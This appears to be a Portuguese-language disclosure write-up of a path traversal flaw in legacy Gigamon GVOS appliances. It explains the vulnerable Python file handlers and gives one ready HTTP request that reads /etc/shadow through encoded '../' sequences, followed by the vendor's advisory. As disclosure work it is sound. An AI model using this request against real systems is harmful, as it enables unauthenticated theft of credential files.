
Exploração de prova de conceito para CVE-2026-36848, uma vulnerabilidade de path traversal em appliances Gigamon GVOS permitindo leitura remota de arquivos não autenticada e escrita parcial com privilégios de root via serviço TornadoHTTP na porta 8089.
Foi identificada uma vulnerabilidade crítica de path traversal no mecanismo de gestão baseado na web, na porta 8089 de dispositivos Gigamon-VUE OS (GVOS). Esta falha existe no subsistema legado H-VUE dentro do daemon persistd e permite que um atacante remoto não autenticado, com acesso de rede ao serviço, leia ficheiros arbitrários e realize operações de escrita parciais (a sobrescrita de ficheiros existentes não é possível) no sistema com privilégios de root.
/opt/tms/persistd_py/persistd.pyroot)O serviço web TornadoHTTP, que executa na porta 8089, implementa uma configuração de rotas mapeadas dentro de . Este daemon expõe várias rotas para lidar com interações de base de dados e cópias de segurança de configuração:
/opt/tms/persistd_py/persistd.pyapp = tornado.web.Application([
(r"/upload(?:/([^/]*))/?", UploadDbFile),
(r"/download/([^/]+)/?", DownloadDbFile),
# ... other routes
])
Os handlers DownloadDbFile e UploadDbFile consomem diretamente os caminhos fornecidos pelo utilizador a partir dos grupos de captura da regex do URI e passam-nos sem filtragem para as funções utilitárias de nível inferior.
Quando um cliente solicita o download de um ficheiro, o handler GET invoca o utilitário download_file:
class DownloadDbFile(GenericApiHandler):
@gen.coroutine
def get(self, file_name):
# ... [validation steps skipped for clarity] ...
elif file_name is not None:
msgif = yield download_file(self, file_name)
A função alvo subjacente download_file tenta abrir o ficheiro solicitado usando concatenação ingénua de strings, em vez de resolver um caminho canónico seguro:
@gen.coroutine
def download_file(caller, file_name):
buf_size = 4096
caller.set_header('Content-Type', 'application/octet-stream')
caller.set_header('Content-Disposition', 'filename=' + file_name)
msg = 'ok'
try:
# Root Cause: Direct concatenation enables directory breakout via traversal sequences
with open(DBFILE_DIR + file_name, 'r') as f:
while True:
data = f.read(buf_size)
if not data:
break
caller.write(data)
except IOError as ioe:
msg = ioe
raise gen.Return(msg)
Como não existe filtragem de sanidade (por exemplo, verificação de sequências de path traversal como ..), qualquer sequência de caminho relativo injetada através de file_name é concatenada diretamente em DBFILE_DIR e resolvida em relação à raiz do sistema.
Da mesma forma, o handler PUT utilizado para o upload de bases de dados passa o corpo do pedido e o caminho definido pelo utilizador diretamente para o utilitário upload_file:
class UploadDbFile(GenericApiHandler):
@gen.coroutine
def put(self, path=None):
# ...
if path is not None:
msgif = yield upload_file(self.request.body, path)
A rotina upload_file utiliza os.path.join para determinar o caminho alvo. No entanto, é um equívoco comum de segurança acreditar que os.path.join protege contra traversal. Na realidade, se um componente passado para os.path.join representar um caminho absoluto ou contiver passos relativos de traversal, o caminho resolvido escapa ao diretório base:
@gen.coroutine
def upload_file(body, path):
msg = 'ok'
tmp_path = None
try:
yield lock.acquire()
# Vulnerable Sink 1: os.path.join does not neutralize directory traversal sequences
full_path = os.path.join(DBFILE_DIR, path)
if os.path.exists(full_path):
msg = 'dup'
else:
tmp_path = full_path + '.tmp'
old_files = filesInDir(DBFILE_DIR)
with open(tmp_path, 'wb') as out:
out.write(bytes(body))
# Vulnerable Sink 2: rename operation performs unsafe string concatenation
os.rename(tmp_path, DBFILE_DIR + path)
Esta falta estrutural de saneamento de entrada permite que um atacante forneça um caminho contendo passos de traversal, possibilitando que o serviço escreva ficheiros arbitrários fora dos limites de DBFILE_DIR com as permissões do contexto do utilizador root que executa o daemon.
Se um atacante codificar em URL os separadores de caminho (/ como %2F), o motor de rotas descodifica e avalia a sequência sem problemas, contornando as restrições padrão de caminho.
GET /download/..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fshadow HTTP/1.1
Host: <target_ip>:8089
Accept: /
Abaixo está a declaração oficial e as orientações de atualização fornecidas pelo fornecedor sobre esta vulnerabilidade:
O problema neste CVE estava presente apenas no subsistema H-VUE. A versão 6 do GVOS removeu o subsistema H-VUE por completo, sendo o GVOS 5.16.1 a última versão a incorporá-lo. A versão 5.16.1 chegou ao fim do suporte em 26 de maio de 2023. Nenhuma versão atualmente suportada do GVOS contém esta vulnerabilidade.
A matriz de suporte do GVOS, que documenta as versões suportadas e as datas de fim de suporte, pode ser encontrada aqui: https://www.gigamon.com/content/dam/customer-portal/MS-Software-Versions-7181.pdf
A política de fim de venda e fim de vida da Gigamon pode ser encontrada aqui: https://www.gigamon.com/support/policies/eol-policy.html
Nenhum ambiente de produção Gigamon deve estar a executar uma versão de software não suportada (NIST SP 800-53 SA-22 "Unsupported System Components"). Se estiver a fazê-lo, a Gigamon recomenda vivamente a atualização para uma versão suportada o mais rapidamente possível. Clientes com suporte podem obter versões atualizadas do GVOS através do portal da comunidade Gigamon. Clientes sem suporte são solicitados a contactar a Gigamon para discutir opções de suporte: https://www.gigamon.com/contact-sales.html
Gostaríamos de expressar a nossa gratidão às equipas de Segurança de Produto e Engenharia da Gigamon pela sua coordenação exemplar durante este processo de divulgação.